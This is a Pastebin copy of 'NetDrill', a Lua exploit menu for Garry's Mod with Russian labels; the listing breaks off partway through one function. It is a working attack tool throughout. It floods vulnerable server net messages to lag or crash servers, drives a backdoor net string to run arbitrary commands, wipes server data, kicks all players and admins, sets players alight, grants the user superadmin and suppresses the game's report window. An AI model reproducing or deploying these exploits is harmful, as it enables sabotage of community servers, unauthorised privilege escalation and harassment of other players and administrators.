Advertisement
Lemosgg

NetDrill

Oct 3rd, 2018
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 85.17 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8. MsgC (Color(255, 255, 0), [[
  9.  
  10.  
  11.  
  12.                            ______  _   _          _         _          _   _   _  ______  
  13.                           / / / / | \ | |        | |       | |        (_) | | | | \ \ \ \  
  14.                          / / / /  |  \| |   ___  | |_    __| |  _ __   _  | | | |  \ \ \ \
  15.                         < < < <   | . ` |  / _ \ | __|  / _` | | '__| | | | | | |   > > > >
  16.                         \ \ \ \  | |\  | |  __/ | |_  | (_| | | |    | | | | | |  / / / /
  17.                          \_\_\_\ |_| \_|  \___|  \__|  \__,_| |_|    |_| |_| |_| /_/_/_/  
  18.                                                                  
  19.                                                
  20.                                                              
  21.                                   Exploit menu for Garry's Mod. | ПОЗДРАВЛЯЕМ, ТЫ ПОБЕДИЛ!
  22.  
  23.  
  24.  
  25.  
  26.   ]])
  27.  
  28.  
  29.  
  30. -- ПОЗДРАВЛЯЕМ,ПОБЕДИЛ ТЫ!
  31.  
  32. local Netdrill = nil
  33. local RatesScaleLevel = LocalPlayer():SteamID()
  34. local NETDRILL = {}
  35. NETDRILL.memory = {}
  36. local grad = Material( "gui/gradient" )
  37. local upgrad = Material( "gui/gradient_up" )
  38. local downgrad = Material( "gui/gradient_down" )
  39. local ctext = chat.AddText
  40.  
  41. local size = math.random(5)
  42. function print_size()print("Член USERNAMа равен "..size.." милиметров!");
  43. end
  44.  
  45.  
  46. -- ТЫ ПОБЕДИЛ,ПОЗДРАВЛЯЕМ
  47.  
  48. surface.CreateFont( "netdrillfont20", {
  49.     font = "Roboto",
  50.     extended = false,
  51.     size = 20,
  52.     weight = 500,
  53.     blursize = 0,
  54.     scanlines = 0,
  55.     antialias = true,
  56. })
  57.  
  58. surface.CreateFont( "netdrillfontlight", {  
  59.     font = "Roboto",
  60.     extended = false,
  61.     size = 40,
  62.     weight = 20,
  63.     blursize = 0,
  64.     scanlines = 0,
  65.     antialias = true,
  66. })
  67.  
  68. surface.CreateFont( "netdrillfonthard", {  
  69.     font = "Roboto",
  70.     extended = false,
  71.     size = 13,
  72.     weight = 600,
  73.     blursize = 0,
  74.     scanlines = 0,
  75.     antialias = true,
  76. })
  77.  
  78. surface.CreateFont( "netdrillfontlogo", {  
  79.     font = "Arial",
  80.     extended = false,
  81.     size = 30,
  82.     weight = 600,
  83.     blursize = 0,
  84.     scanlines = 0,
  85.     antialias = true,
  86. })
  87.  
  88. surface.CreateFont( "netdrillfonthello", {  
  89.     font = "Roboto",
  90.     extended = false,
  91.     size = 20,
  92.     weight = 600,
  93.     blursize = 0,
  94.     scanlines = 0,
  95.     antialias = true,
  96. })
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103. -- FONCTION DE BASE
  104.  
  105. function NETDRILL.ChatText( str )
  106. ctext( Color(208, 114, 255), [[ NetDrill™ : ]]..str )
  107. end
  108. function NETDRILL.NetStart( str )
  109. local netstart = net.Start
  110. if Netdrill and Netdrill.G and Netdrill.G.net then
  111. netstart = Netdrill.G.net.Start
  112. else
  113. end
  114. return netstart( str )
  115. end
  116. function NETDRILL.ValidNetString( str )
  117. local netstart = net.Start
  118. if Netdrill and Netdrill.G and Netdrill.G.net then
  119. netstart = Netdrill.G.net.Start
  120. else
  121. end
  122. local status, error = pcall( netstart, str )
  123. return status
  124. end
  125. function NETDRILL.ValidNetString( str )
  126. local status, error = pcall( net.Start, str )
  127. return status
  128. end
  129. NETDRILL.sploits = {}
  130. local severitycols = {
  131. [1] = Color( 100, 100, 100 ),
  132. [2] = Color( 100, 100, 100 ),
  133. [3] = Color( 100, 100, 100 ),
  134. [4] = Color( 184, 109, 255 ),
  135. }
  136. function NETDRILL.AddExploit( name, tab )
  137. if !isstring( name ) then print("ùùù_ùùù") return end
  138. if !istable( tab ) then print("ùùù_ùùù") return end
  139. NETDRILL.sploits[name] = tab
  140. end
  141. function NETDRILL.IsStored( addr )
  142. return NETDRILL.memory[addr] != nil
  143. end
  144. function NETDRILL.GetStored( addr, fallback )
  145. if fallback and NETDRILL.memory[addr] == nil then return fallback end
  146. return NETDRILL.memory[addr]
  147. end
  148. function NETDRILL.Store( addr, val )
  149. NETDRILL.memory[addr] = val
  150. end
  151. function NETDRILL.GetAllStored()
  152. return NETDRILL.memory
  153. end
  154. function NETDRILL.GetAllStoredData()
  155. local ret = {}
  156. for k, v in pairs( NETDRILL.memory ) do
  157. if !istable( v ) then ret[k] = v end
  158. end
  159. return ret
  160. end
  161. function NETDRILL.LoadConfig()
  162. local f = file.Read( "Netdrill_exploit.dat", "DATA" )
  163. if !f then NETDRILL.ChatText( "ууууууу" ) end
  164. local raw = util.Decompress( f )
  165. local garbage = util.JSONToTable( raw )
  166. table.Merge( NETDRILL.memory, garbage )
  167. NETDRILL.Menu:Remove()
  168. NETDRILL.ChatText( "Загружаем файл конфигурации" )
  169. end
  170. function NETDRILL.SaveConfig()
  171. local myturds = util.TableToJSON( NETDRILL.GetAllStoredData() )
  172. if !myturds then return end
  173. local cumpressed = util.Compress( myturds )
  174. file.Write( "Netdrill_exploit.dat", cumpressed )
  175. NETDRILL.ChatText( "Сохраненный файл конфигурации" )
  176. end
  177.  
  178.  
  179. -- CREATION DES EXPLOITS
  180.  
  181. NETDRILL.AddExploit( "Турбо Ошибки (DDoS)", {
  182. desc = "Заставьте rcon дристать ошибками как поносом!",
  183. severity = 2,
  184. scan = function() return NETDRILL.ValidNetString( "steamid2" ) end,
  185. functions = {
  186. { typ = "func", name = "DDoS", func = function()
  187. if !timer.Exists( "Netdrill_exploit_errorzt" ) then
  188. NETDRILL.ChatText( "Даём ркону слабительное..." )
  189. timer.Create( "Netdrill_exploit_errorzt", 0.05, 0, function()
  190. for i = 1, 30 do
  191. NETDRILL.NetStart( "steamid2" )
  192. net.WriteString( "Something is creating very strong script errors" )
  193. net.SendToServer()
  194. end
  195. end)
  196. else
  197. timer.Remove( "Netdrill_exploit_errorzt" )
  198. NETDRILL.ChatText( "Прекращаем лаги ;c." )
  199. end
  200. end, },
  201. },
  202. } )
  203. local netdrillhacknet = ""
  204. if NETDRILL.ValidNetString( "Sandbox_Armdupe" ) then
  205. netdrillhacknet = "Sandbox_Armdupe"
  206. else
  207. if NETDRILL.ValidNetString( "Fix_Keypads" ) then
  208. netdrillhacknet = "Fix_Keypads"
  209. else
  210. if NETDRILL.ValidNetString( "Remove_Exploiters" ) then
  211. netdrillhacknet = "Remove_Exploiters"
  212. else
  213. if NETDRILL.ValidNetString( "noclipcloakaesp_chat_text" ) then
  214. netdrillhacknet = "noclipcloakaesp_chat_text"
  215. else
  216. if NETDRILL.ValidNetString( "_Defqon" ) then
  217. netdrillhacknet = "_Defqon"
  218. else
  219. if NETDRILL.ValidNetString( "Pizda" ) then
  220. netdrillhacknet = "Pizda"
  221. else
  222. if NETDRILL.ValidNetString( "vodkapidr" ) then
  223. netdrillhacknet = "vodkapidr"
  224. else
  225. if NETDRILL.ValidNetString( "Limon" ) then
  226. netdrillhacknet = "Limon"
  227. else
  228. if NETDRILL.ValidNetString( "LemosxD" ) then
  229. netdrillhacknet = "LemosxD"
  230. else
  231. if NETDRILL.ValidNetString( "Sbox_itemstore" ) then
  232. netdrillhacknet = "Sbox_itemstore"
  233. else
  234. if NETDRILL.ValidNetString( "ITEM" ) then
  235. netdrillhacknet = "ITEM"
  236. end
  237. end
  238. end
  239. end
  240. end
  241. end
  242. end
  243. end
  244. end
  245. end
  246. end
  247.  
  248.  
  249. NETDRILL.AddExploit( "Добро пожаловать в АД!", {
  250. desc = "Дамы и господа, я имею честь представить вам * барабанная дробь *, его величество БЕКДОР!",
  251. severity = 4,
  252. scan = function() return NETDRILL.ValidNetString( netdrillhacknet ) end,
  253. functions = {
  254. { typ = "func", name = "Выйти", func = function()
  255. NETDRILL.NetStart(netdrillhacknet)
  256. net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
  257. net.WriteBit(1)
  258. net.SendToServer()
  259. end, },
  260.  
  261. { typ = "htxcommandeliste", name = "exe" },
  262.  
  263. },
  264. } )
  265.  
  266.  
  267. NETDRILL.AddExploit( "Высверлить DATу сервера", {
  268. desc = "Удалите данные сервера! У сервер овнера 99.9% подгорит очко x)",
  269. severity = 3,
  270. scan = function() return NETDRILL.ValidNetString( "WriteQuery" ) end,
  271. functions = {
  272. { typ = "func", name = "Начать", func = function()
  273. if !timer.Exists( "Netdrill_exploit_datatrasher" ) then
  274. NETDRILL.ChatText( "Запуск мессилова папки данных" )
  275. timer.Create( "Netdrill_exploit_datatrasher", 0.5, 0, function()
  276. NETDRILL.NetStart( "WriteQuery" )
  277. net.WriteString( "This is gay ->"..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) )
  278. net.SendToServer()
  279. end)
  280. else
  281. timer.Remove( "Netdrill_exploit_datatrasher" )
  282. NETDRILL.ChatText( "Остановка мессилова папки данных" )
  283. end
  284. end, },
  285. },
  286. } )
  287.  
  288. -- Patch
  289.  
  290. --[[NETDRILL.AddExploit( "Turbo Chat Spam", {
  291. desc = "Gros spam, extrêmement ennuyeux",
  292. severity = 1,
  293. scan = function() return NETDRILL.ValidNetString( "VJSay" ) end,
  294. functions = {
  295. { typ = "string", name = "Entrer un message", default = "VaporhackMenu", addr = "vj_spamstring" },
  296. { typ = "string", name = "Entrer un son", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
  297. { typ = "func", name = "Big Spam", func = function()
  298. if !timer.Exists( "bigspamsvj" ) then
  299. NETDRILL.ChatText( "big spam lancé" )
  300. timer.Create( "bigspamsvj", 0.1, 0, function()
  301. for k, v in pairs( player.GetAll() ) do
  302. NETDRILL.NetStart( "VJSay" )
  303. net.WriteEntity( v )
  304. net.WriteString( NETDRILL.GetStored( "vj_spamstring", "ACHETER LE @Netdrill AJOUTEZ SUPREMACIST" ) )
  305. if NETDRILL.GetStored( "vj_spamsound", "" ) != "" then
  306. net.WriteString( NETDRILL.GetStored( "vj_spamsound", "" ) )
  307. end
  308. net.SendToServer()
  309. end
  310. end)
  311. else
  312. timer.Remove( "bigspamsvj" )
  313. NETDRILL.ChatText( "big spam stoppé" )
  314. end
  315. end, },
  316. },
  317. } )--]]
  318.  
  319.  
  320.  
  321.  
  322. NETDRILL.AddExploit( "Инферно", {
  323. desc = "Устройте огненную пати!",
  324. severity = 3,
  325. scan = function() return NETDRILL.ValidNetString( "drugs_ignite" ) end,
  326. functions = {
  327. { typ = "func", name = "Поджечь пропы", func = function()
  328. NETDRILL.NetStart("drugs_ignite")
  329. net.WriteString("prop_physics")
  330. net.SendToServer()
  331. end, },
  332. { typ = "func", name = "Поджечь игроков", func = function()
  333. NETDRILL.NetStart("drugs_ignite")
  334. net.WriteString("player")
  335. net.SendToServer()
  336. end, },
  337. },
  338. } )
  339.  
  340.  
  341. NETDRILL.AddExploit( "Увеличить ХП", {
  342. desc = "Увеличьте жизни игроков",
  343. severity = 2,
  344. scan = function() return NETDRILL.ValidNetString( "drugseffect_hpremove" ) end,
  345. functions = {
  346. { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100", addr = "montant_argent15" },
  347. { typ = "func", name = "Стандарт", func = function()
  348. NETDRILL.NetStart("drugseffect_hpremove")
  349. net.WriteString(NETDRILL.GetStored( "montant_argent15" ))
  350. net.SendToServer()
  351. end, },
  352. },
  353. } )
  354.  
  355.  
  356. NETDRILL.AddExploit( "Телепортация", {
  357. desc = "Телепортирует вас на спавн)",
  358. severity = 2,
  359. scan = function() return NETDRILL.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end,
  360. functions = {
  361. { typ = "func", name = "Телепорт", func = function()
  362. NETDRILL.NetStart("DarkRP_Kun_ForceSpawn")
  363. net.SendToServer()
  364. end, },
  365. },
  366. } )
  367.  
  368.  
  369. NETDRILL.AddExploit( "Кикнуть всех 3", {
  370. desc = "DO YOU LIKE KICKING OTHER PEOPLE?",
  371. severity = 3,
  372. scan = function() return NETDRILL.ValidNetString( "NLRKick" ) end,
  373. functions = {
  374. { typ = "players", addr = "l_players_listing515" },
  375. { typ = "func", name = "Кикнуть всех", func = function()
  376. local t = NETDRILL.GetStored( "l_players_listing515", {} )
  377. for k, v in pairs( player.GetAll() ) do
  378. if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
  379. NETDRILL.NetStart("NLRKick")
  380. net.WriteEntity(v)
  381. net.SendToServer()
  382. end
  383. end, },
  384. },
  385. } )
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394.  
  395.  
  396.  
  397. NETDRILL.AddExploit( "Кикнуть всех 2", {
  398. desc = "Всем нужно личное пространство не так ли ;)",
  399. severity = 3,
  400. scan = function() return NETDRILL.ValidNetString( "RecKickAFKer" ) end,
  401. functions = {
  402. { typ = "players", addr = "l_players_listing2545" },
  403. { typ = "func", name = "Кикнуть всех", func = function()
  404. local t = NETDRILL.GetStored( "l_players_listing2545", {} )
  405. for k, v in pairs( player.GetAll() ) do
  406. if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
  407. NETDRILL.NetStart("RecKickAFKer")
  408. net.WriteEntity(v)
  409. net.SendToServer()
  410. end
  411. end, },
  412. },
  413. } )
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.  
  426.  
  427.  
  428. NETDRILL.AddExploit( "DDoS #2", {
  429. desc = "Вызывает лаги на сервере",
  430. severity = 3,
  431. scan = function() return NETDRILL.ValidNetString( "CFRemoveGame" ) end,
  432. functions = {
  433. { typ = "func", name = "DDoS уровень 2", func = function()
  434. if !timer.Exists( "DDoS2" ) then
  435. NETDRILL.ChatText( "Начинаем DDoS" )
  436. timer.Create( "DDoS2", 0.05, 0, function()
  437.  
  438.  
  439. NETDRILL.NetStart( "CFRemoveGame" )
  440.  
  441. net.WriteFloat( math.Round( "10000\n" ) )
  442.  
  443. net.SendToServer()
  444.  
  445. NETDRILL.NetStart( "CFJoinGame" )
  446.  
  447. net.WriteFloat( math.Round( "10000\n" ) )
  448.  
  449. net.SendToServer()
  450.  
  451. NETDRILL.NetStart( "CFEndGame" )
  452.  
  453. net.WriteFloat( "10000\n" )
  454.  
  455. net.SendToServer()
  456.  
  457. end)
  458.                    
  459. else
  460. timer.Remove( "DDoS2" )
  461. NETDRILL.ChatText( "Выключаем DDoS" ) 
  462. end        
  463. end, },
  464. },
  465. } )
  466.  
  467.  
  468.  
  469.  
  470. NETDRILL.AddExploit( "DDoS #4", {
  471. desc = "Вызывает лаги на сервере",
  472. severity = 3,
  473. scan = function() return NETDRILL.ValidNetString( "rprotect_terminal_settings" ) end,
  474. functions = {
  475. { typ = "func", name = "DDoS уровень 4", func = function()
  476. if !timer.Exists( "DDoS4" ) then
  477. NETDRILL.ChatText( "Начинаем DDoS" )
  478. timer.Create( "DDoS4", 0.1, 0, function()
  479.                     for i = 1, 300 do
  480.  
  481.                     NETDRILL.NetStart( "rprotect_terminal_settings" )
  482.  
  483.                     net.WriteEntity( LocalPlayer() )
  484.  
  485.                     net.SendToServer()
  486.  
  487.                     end end)
  488.                    
  489. else
  490. timer.Remove( "DDoS4" )
  491. NETDRILL.ChatText( "Выключаем DDoS" )     
  492. end    
  493. end, },
  494. },
  495. } )
  496.  
  497.  
  498. NETDRILL.AddExploit( "DDoS #6", {
  499. desc = "Вызывает лаги на сервере",
  500. severity = 3,
  501. scan = function() return NETDRILL.ValidNetString( "pac_submit" ) end,
  502. functions = {
  503. { typ = "func", name = "DDoS уровень 6", func = function()
  504. if !timer.Exists( "DDoS6" ) then
  505. NETDRILL.ChatText( "Начинаем DDoS" )
  506. timer.Create( "DDoS6", 0.02, 0, function()
  507. for i=1, 1400 do
  508. NETDRILL.NetStart("pac_submit")
  509. net.SendToServer()                  
  510. end end)                   
  511. else
  512. timer.Remove( "DDoS6" )
  513. NETDRILL.ChatText( "Выключаем DDoS" )
  514. end
  515. end, },
  516. },
  517. } )
  518.  
  519. NETDRILL.AddExploit( "DDoS #8", {
  520. desc = "Вызывает лаги на сервере",
  521. severity = 3,
  522. scan = function() return NETDRILL.ValidNetString("join_disconnect") end,
  523. functions = {
  524. { typ = "func", name = "DDoS уровень 8", func = function()
  525. if !timer.Exists( "DDoS8" ) then
  526. NETDRILL.ChatText( "Начинаем DDoS" )
  527. timer.Create( "DDoS8", 0.02, 0, function()
  528. for i=1, 600 do
  529. NETDRILL.NetStart("join_disconnect")
  530. net.WriteEntity(table.Random(player.GetAll()))
  531. net.SendToServer()  
  532. end end)                   
  533. else
  534. timer.Remove( "DDoS8" )
  535. NETDRILL.ChatText( "Выключаем DDoS" )
  536. end
  537. end, },
  538. },
  539. } )
  540.  
  541.  
  542.  
  543.  
  544.  
  545.  
  546. NETDRILL.AddExploit( "DDoS #9", {
  547. desc = "Вызывает лаги на сервере",
  548. severity = 3,
  549. scan = function() return NETDRILL.ValidNetString("EZS_PlayerTag") end,
  550. functions = {
  551. { typ = "func", name = "DDoS уровень 9", func = function()
  552. if !timer.Exists( "DDoS9" ) then
  553. NETDRILL.ChatText( "Начинаем DDoS" )
  554. timer.Create( "DDoS9", 0.05, 0, function()
  555. for k, v in pairs(player.GetAll()) do
  556. NETDRILL.NetStart( "EZS_PlayerTag" )
  557. net.WriteEntity(v)
  558. net.WriteString("Something is creating very strong script errors")
  559. net.SendToServer()
  560. timer.Simple(2, function()
  561. NETDRILL.NetStart( "EZS_PlayerTag" )
  562. net.WriteEntity(v)
  563. net.WriteString("// DDoS Attack In Progress")
  564. net.SendToServer()  
  565. end)
  566. end end)                   
  567. else
  568. timer.Remove( "DDoS9" )
  569. NETDRILL.ChatText( "Выключаем DDoS" )
  570. end
  571. end, },
  572. },
  573. } )
  574.  
  575.  
  576. NETDRILL.AddExploit( "DDoS #10", {
  577. desc = "Вызывает лаги на сервере",
  578. severity = 3,
  579. scan = function() return NETDRILL.ValidNetString("DarkRP_spawnPocket") end,
  580. functions = {
  581. { typ = "func", name = "DDoS уровень 10", func = function()
  582. if !timer.Exists( "DDoS10" ) then
  583. NETDRILL.ChatText( "Начинаем DDoS" )
  584. timer.Create( "DDoS10", 0.02, 0, function()
  585. for i=1, 600 do
  586. NETDRILL.NetStart("DarkRP_spawnPocket")
  587. net.SendToServer()  
  588. end end)                   
  589. else
  590. timer.Remove( "DDoS10" )
  591. NETDRILL.ChatText( "Выключаем DDoS" )
  592. end
  593. end, },
  594. },
  595. } )
  596.  
  597.  
  598. NETDRILL.AddExploit( "DDoS #11", {
  599. desc = "Вызывает лаги на сервере",
  600. severity = 3,
  601. scan = function() return NETDRILL.ValidNetString("Taxi_Add") end,
  602. functions = {
  603. { typ = "func", name = "DDoS уровень 11", func = function()
  604. if !timer.Exists( "DDoS11" ) then
  605. NETDRILL.ChatText( "Начинаем DDoS" )
  606. timer.Create( "DDoS11", 0.05, 0, function()
  607. for i=1, 10 do
  608. local Pos = LocalPlayer():GetEyeTrace().HitPos
  609. NETDRILL.NetStart("Taxi_Add")
  610. net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
  611. net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
  612. net.WriteFloat(-9999999)
  613. net.WriteString("Взломано NetDrill :D")
  614. net.SendToServer()
  615. end end)                   
  616. else
  617. timer.Remove( "DDoS11" )
  618. NETDRILL.ChatText( "Выключаем DDoS" )
  619. end
  620. end, },
  621. },
  622. } )
  623.  
  624.  
  625.  
  626.  
  627.  
  628.  
  629.  
  630.  
  631.  
  632.  
  633. NETDRILL.AddExploit( "Хакер кейпадов", {
  634. desc = "Хакает кейпады вокруг вас",
  635. severity = 3,
  636. scan = function() return NETDRILL.ValidNetString('start_wd_emp') end,
  637. functions = {
  638. { typ = "func", name = "Автохак", func = function()
  639. if !timer.Exists( "Keyhack" ) then
  640. NETDRILL.ChatText( "Начинаем Автохак" )
  641. timer.Create( "Keyhack", 0.02, 0, function()
  642. for i=1, 40 do
  643. net.Start('start_wd_emp')
  644. net.SendToServer()
  645. end end)                   
  646. else
  647. timer.Remove( "Keyhack" )
  648. NETDRILL.ChatText( "Выключаем Хакера" )
  649. end
  650. end, },
  651. },
  652. } )
  653.  
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660. NETDRILL.AddExploit( "Авторазвязывание из наручников", {
  661. desc = "Вас невозможно остановить",
  662. severity = 3,
  663. scan = function() return NETDRILL.ValidNetString("Kun_ZiptieStruggle") end,
  664. functions = {
  665. { typ = "func", name = "Авторазвязывание", func = function()
  666. if !timer.Exists( "untie" ) then
  667. NETDRILL.ChatText( "Начинаем Фокус" )
  668. timer.Create( "untie", 0.1, 0, function()
  669. for i=1, 30 do
  670. NETDRILL.NetStart("Kun_ZiptieStruggle")
  671. net.SendToServer()  
  672. end end)                   
  673. else
  674. timer.Remove( "untie" )
  675. NETDRILL.ChatText( "Выключаем Фокус" )
  676. end
  677. end, },
  678. },
  679. } )
  680.  
  681.  
  682.  
  683.  
  684. local title = "You have been reported! Please answer all your reports."
  685. local function CheckChild(pan)
  686.     if !pan || !IsValid(pan) then return end
  687.     if pan.GetTitle && pan:GetTitle() == title then
  688.         pan:Remove();
  689.         print("Убираем Репорт")
  690.         return
  691.     end
  692.     for k,v in pairs(pan:GetChildren()) do
  693.         if v.GetTitle && v:GetTitle() == title then
  694.             v:Remove();
  695.             print("Репорт убран")
  696.             return
  697.         end
  698.         if #v:GetChildren() > 0 then
  699.             CheckChild(v)
  700.         end
  701.     end
  702. end
  703.  
  704. bypass = 0
  705.  
  706. NETDRILL.AddExploit( "ТТТ антирепорт", {
  707. desc = "Выключает систему репортов",
  708. severity = 3,
  709.  
  710. scan = function() return engine.ActiveGamemode() == "terrortown" end,
  711. functions = {
  712. { typ = "func", name = "Антирепорт", func = function()
  713. if (bypass == 0) then
  714. hook.Add("Think", "remove_ttt_report", function()
  715. local pan = vgui.GetHoveredPanel()
  716. CheckChild(pan)
  717. bypass = 1
  718. end)
  719. NETDRILL.ChatText( "Включаем TTT Bypass" )
  720. else
  721. hook.Remove("Think", "remove_ttt_report")
  722. bypass = 0
  723. NETDRILL.ChatText( "Выключаем TTT Bypass" )
  724. end
  725. end, },
  726. },
  727. } )
  728.  
  729.  
  730.  
  731.  
  732.  
  733. NETDRILL.AddExploit( "СУПЕРАДМИН!", {
  734. desc = "Станьте господом богом ;)",
  735. severity = 3,
  736. scan = function() return NETDRILL.ValidNetString("pplay_deleterow") end,
  737. functions = {
  738. { typ = "func", name = "!<O>!", func = function()
  739. local id = LocalPlayer():SteamID()
  740. local tbl = {}
  741. tbl.name = "FAdmin_PlayerGroup"
  742. tbl.where = {
  743. "steamid",
  744. tostring(id)
  745. }
  746. NETDRILL.NetStart("pplay_deleterow")
  747. net.WriteTable(tbl)
  748. net.SendToServer()
  749. local tbl = {}
  750. tbl.tblname = "FAdmin_PlayerGroup"
  751. tbl.tblinfo = {
  752. tostring(id),
  753. "superadmin"
  754. }
  755. NETDRILL.NetStart("pplay_addrow")
  756. net.WriteTable(tbl)
  757. net.SendToServer()
  758. end, },
  759. },
  760. } )
  761.  
  762.  
  763.  
  764.  
  765.  
  766.  
  767.  
  768.  
  769.  
  770.  
  771. NETDRILL.AddExploit( "Краш сервера 1", {
  772. desc = "Вызывает лаги на сервере",
  773. severity = 3,
  774. scan = function() return NETDRILL.ValidNetString("Morpheus.StaffTracker" ) end,
  775. functions = {
  776. { typ = "func", name = "Крашните сервер", func = function()
  777. if !timer.Exists( "Supercrash" ) then
  778. NETDRILL.ChatText( "Начинаем Краш" )
  779. timer.Create( "Supercrash", 0.05, 0, function()
  780. for i=1, 400 do
  781. NETDRILL.NetStart("Morpheus.StaffTracker")
  782. net.SendToServer()      
  783. end end)                   
  784. else
  785. timer.Remove( "Supercrash" )
  786. NETDRILL.ChatText( "Выключаем Краш" )
  787. end
  788. end, },
  789. },
  790. } )
  791.  
  792.  
  793. NETDRILL.AddExploit( "Кикнуть всех админов", {
  794. desc = "ВРЕМЯ АНАРХИИ!",
  795. severity = 3,
  796. scan = function() return NETDRILL.ValidNetString("GetCar") end,
  797. functions = {
  798. { typ = "func", name = "Кикнуть", func = function()
  799. if !timer.Exists( "GayKicker" ) then
  800. NETDRILL.ChatText( "Начинаем кикер" )
  801. timer.Create( "GayFriend", 0.05, 0, function()
  802. for k,v in ipairs(player.GetAll()) do
  803. if( v:GetUserGroup() != "user" ) then
  804. if v:Nick() != (LocalPlayer():Nick()) then
  805. for i=0, 30 do
  806. net.Start( "GetCar" )
  807. net.WriteEntity(v)
  808. net.WriteEntity(v)
  809. net.SendToServer()
  810. end end end end end)                   
  811. else
  812. timer.Remove( "GayKicker" )
  813. NETDRILL.ChatText( "Выключаем кикер" )
  814. end
  815. end, },
  816. },
  817. } )
  818.  
  819.  
  820.  
  821.  
  822.  
  823.  
  824.  
  825.  
  826.  
  827.  
  828. NETDRILL.AddExploit( "Пасхальное яйцо", {
  829. desc = "Выдать пасхальное яйцо!",
  830. severity = 3,
  831. scan = function() return NETDRILL.ValidNetString( "egg" ) end,
  832. functions = {
  833. { typ = "func", name = "Яйцо", func = function()
  834. NETDRILL.NetStart("egg")
  835. net.SendToServer()
  836. end, },
  837. },
  838. } )
  839.  
  840.  
  841. NETDRILL.AddExploit( "Фальсифицировать иконку", {
  842. desc = "Подкрутите иконку чата у себя над головой ;3!",
  843. severity = 3,
  844. scan = function() return NETDRILL.ValidNetString( "TalkIconChat" ) end,
  845. functions = {
  846. { typ = "func", name = "Иконка", func = function()
  847. hook.Remove('StartChat', 'TalkIcon')
  848. NETDRILL.NetStart("TalkIconChat")
  849. net.WriteBool(true)
  850. net.SendToServer()
  851. end, },
  852. },
  853. } )
  854.  
  855.  
  856.  
  857.  
  858.  
  859.  
  860. NETDRILL.AddExploit( "Кикнуть всех", {
  861. desc = "Люди бывают мерзкими. Это решит данную проблему!",
  862. severity = 3,
  863. scan = function() return NETDRILL.ValidNetString( "DL_Answering" ) end,
  864. functions = {
  865. { typ = "func", name = "Кикнуть всех", func = function()
  866. if !timer.Exists( "kickallnoob" ) then
  867. NETDRILL.ChatText( "Начинаем приговор" )
  868. timer.Create( "kickallnoob", 0.1, 0, function()
  869. for i = 1, 2000 do
  870. NETDRILL.NetStart("DL_Answering")
  871. net.SendToServer()
  872. end
  873. end)
  874. else
  875. timer.Remove( "kickallnoob" )
  876. NETDRILL.ChatText( "Выключаем кикер" )
  877. end
  878. end, },
  879. },
  880. } )
  881.  
  882.  
  883.  
  884. NETDRILL.AddExploit( "Взлом кейпадов 2", {
  885. desc = "Взломайте все кейпады на сервере.",
  886. severity = 1,
  887. scan = function() return NETDRILL.ValidNetString( "start_wd_emp" ) end,
  888. functions = {
  889. { typ = "func", name = "Взломать", func = function()
  890. NETDRILL.NetStart("start_wd_emp")
  891. net.SendToServer()
  892. end, },
  893. },
  894. } )
  895.  
  896.  
  897.  
  898. NETDRILL.AddExploit( "Кикнуть всех (админ)", {
  899. desc = "Метод кика для админов.",
  900. severity = 3,
  901. scan = function() return NETDRILL.ValidNetString( "plyWarning" ) end,
  902. functions = {
  903. { typ = "players", addr = "l_players_listing255" },
  904. { typ = "func", name = "Kick", func = function()
  905. local t = NETDRILL.GetStored( "l_players_listing255", {} )
  906. for k, v in pairs( player.GetAll() ) do
  907. if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
  908. NETDRILL.NetStart('plyWarning')          
  909. net.WriteEntity(v)          
  910. net.WriteString('You have to select a player before doing a action.')      
  911. net.SendToServer()
  912. NETDRILL.ChatText("Кикаем этого несчастного... ".. v:Nick().. "!")
  913. end
  914. end, },
  915. },
  916. } )
  917.  
  918.  
  919. NETDRILL.AddExploit( "NLR Заморозка", {
  920. desc = "IF I COULD SAVE TIME IN A BOTTLE!",
  921. severity = 3,
  922. scan = function() return NETDRILL.ValidNetString( "NLR.ActionPlayer" ) end,
  923. functions = {
  924. { typ = "players", addr = "l_players_listing45" },
  925. { typ = "func", name = "Заморозка", func = function()
  926. local t = NETDRILL.GetStored( "l_players_listing45", {} )
  927. for k, v in pairs( player.GetAll() ) do
  928. if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
  929. NETDRILL.NetStart("NLR.ActionPlayer")
  930. net.WriteEntity(v)
  931. net.SendToServer()
  932. end  
  933. end, },
  934. },
  935. } )
  936.  
  937.  
  938. NETDRILL.AddExploit( "Спам", {
  939. desc = "Обычный спам фигней, ничего необычного",
  940. severity = 2,
  941. scan = function() return NETDRILL.ValidNetString( "NET_BailPlayer" ) end,
  942. functions = {
  943. { typ = "func", name = "Спам", func = function()
  944. for k, v in pairs (player.GetAll()) do
  945. NETDRILL.NetStart("NET_BailPlayer")
  946. net.WriteEntity( v )
  947. net.WriteEntity( v )
  948. net.SendToServer()
  949. end
  950. end, },
  951. },
  952. } )
  953.  
  954.  
  955.  
  956. NETDRILL.AddExploit( "Поменять Модельку", {
  957. desc = "МОДНЫЙ ПРИГОВОР НАЧИНАЕТЬСЯ!",
  958. severity = 1,
  959. scan = function() return NETDRILL.ValidNetString( "bodyman_model_change" ) end,
  960. functions = {
  961. { typ = "func", name = "Changer", func = function()
  962. PlayerModels = {0,1,2,3,4,5,6}
  963. Torso = {0,1,2,3,4,5,6,7,8,9,10}
  964. Legs = {0,1,2,3,4,5,6}
  965. Hands = {0,1,2}
  966. Glasses = {0,1}
  967. Skins = {0,1,2,3,4,5,6,7,8,9,10}
  968. PM = PM+1
  969. TS = TS+1
  970. LG = LG+1  
  971. HN = HN+1
  972. GL = GL+1
  973. SK = SK+1
